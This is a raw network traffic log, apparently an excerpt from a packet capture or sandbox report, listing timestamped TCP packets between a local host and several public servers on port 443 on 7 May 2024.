May 7, 2024 16:12:49.920346022 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.920543909 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.920561075 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.920624018 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.920631886 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.920675993 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921139956 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921155930 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921200991 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921207905 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921251059 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921464920 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921482086 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921515942 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921523094 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921557903 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921572924 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921715021 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921730995 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921775103 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921781063 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921808958 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921814919 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.921974897 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.921992064 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922044039 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922051907 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922087908 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922259092 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922276020 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922312975 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922318935 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922339916 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922358036 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922579050 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922595978 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922631025 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922636986 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922665119 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922672987 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922812939 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922838926 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922885895 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.922904015 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.922951937 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.923108101 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.923124075 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.923173904 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.923180103 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.923211098 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.964720964 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.964737892 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.964788914 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.964799881 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.964842081 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.964850903 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.965029955 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.965045929 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.965091944 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.965099096 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:49.965112925 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:49.965140104 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.079710960 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.079732895 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.079797983 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.079811096 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.079859972 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080168009 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080184937 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080223083 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080229998 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080261946 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080286980 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080432892 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080449104 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080486059 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080492020 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080522060 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080538988 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080744028 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080765009 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080800056 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080806017 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.080822945 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.080847979 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081022024 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081037045 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081077099 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081084013 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081111908 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081130981 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081336021 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081351042 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081397057 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081403017 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081418991 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081454992 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081650019 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081670046 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081720114 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081727028 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.081768990 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.081990957 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082007885 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082056999 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082062960 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082087994 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082098961 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082174063 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082189083 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082222939 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082228899 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082247972 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082268000 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082699060 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082725048 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082762003 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082767963 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.082793951 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.082813025 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.083350897 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.083367109 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.083425999 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.083432913 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.083475113 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.083806038 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.083827972 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.083872080 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.083882093 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.083916903 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.084095955 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.084117889 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.084151983 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.084157944 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.084186077 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.084198952 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.084203959 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.084247112 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.084333897 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.084553957 CEST	49764	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.084572077 CEST	443	49764	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.125345945 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.125386953 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.125644922 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.125910997 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.125926018 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.190320015 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.190352917 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.190459013 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.190660954 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.190675974 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.273026943 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.273065090 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.273156881 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.273332119 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.273344040 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.275438070 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.275473118 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.275557995 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.275662899 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.275671959 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.275718927 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.275835991 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.275863886 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.275912046 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276020050 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276057005 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.276120901 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276269913 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276308060 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.276357889 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276427984 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276465893 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.276515007 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276678085 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276691914 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.276822090 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276833057 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.276940107 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.276954889 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.277055025 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.277069092 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.277208090 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.277225971 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.277333021 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.277347088 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.367304087 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.367628098 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.367654085 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.368069887 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.368366003 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.368484974 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.368520975 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.410027981 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.410037041 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.449727058 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.450046062 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.450061083 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.450512886 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.450831890 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.450936079 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.450983047 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:50.501236916 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:50.543287992 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.543546915 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.543566942 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.544657946 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.544734955 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.545830965 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.545913935 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.545953035 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.546274900 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.546675920 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.546700001 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.547713041 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.547775984 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.547955990 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548264027 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548369884 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.548387051 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548511028 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.548522949 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548619986 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548728943 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.548796892 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548852921 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.548858881 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.548968077 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.548979044 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.549439907 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.549494982 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.549537897 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.549587011 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.549662113 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.549948931 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.550066948 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.550386906 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.550443888 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.550455093 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.550518036 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.550566912 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.550585032 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.550966024 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.550972939 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.551079035 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.551086903 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.551520109 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.551583052 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.551678896 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.551816940 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.551883936 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.552122116 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.552207947 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.552222967 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.555807114 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.556010008 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.556025982 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.557037115 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.557097912 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.557370901 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.557435989 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.557471037 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.592117071 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.592134953 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.594940901 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.594949007 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.594949007 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.594949961 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.594961882 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.594963074 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.594973087 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.594979048 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.595000982 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.597119093 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597155094 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597213984 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597215891 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.597234964 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597273111 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597282887 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.597290993 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597321987 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597336054 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.597342014 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597395897 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.597414970 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597481966 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597507000 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597533941 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.597541094 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.597630024 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.598123074 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.598191023 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.598223925 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.598256111 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.598295927 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.598306894 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.598315001 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.598392963 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.598964930 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599047899 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599073887 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599100113 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.599107027 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599184990 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.599195004 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599929094 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599978924 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.599983931 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.600002050 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600044966 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.600050926 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600083113 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600126028 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.600132942 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600142956 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600188971 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.600195885 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600936890 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600966930 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.600997925 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601026058 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.601027012 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601036072 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601064920 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.601087093 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.601092100 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601618052 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601654053 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601686954 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601710081 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.601716995 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.601753950 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.602509975 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.602579117 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.602586031 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.604121923 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.610692024 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.610702991 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.641828060 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.641828060 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.641840935 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.657443047 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.657485962 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.684282064 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.684298992 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.684360027 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.684361935 CEST	49767	443	192.168.2.8	104.17.25.14
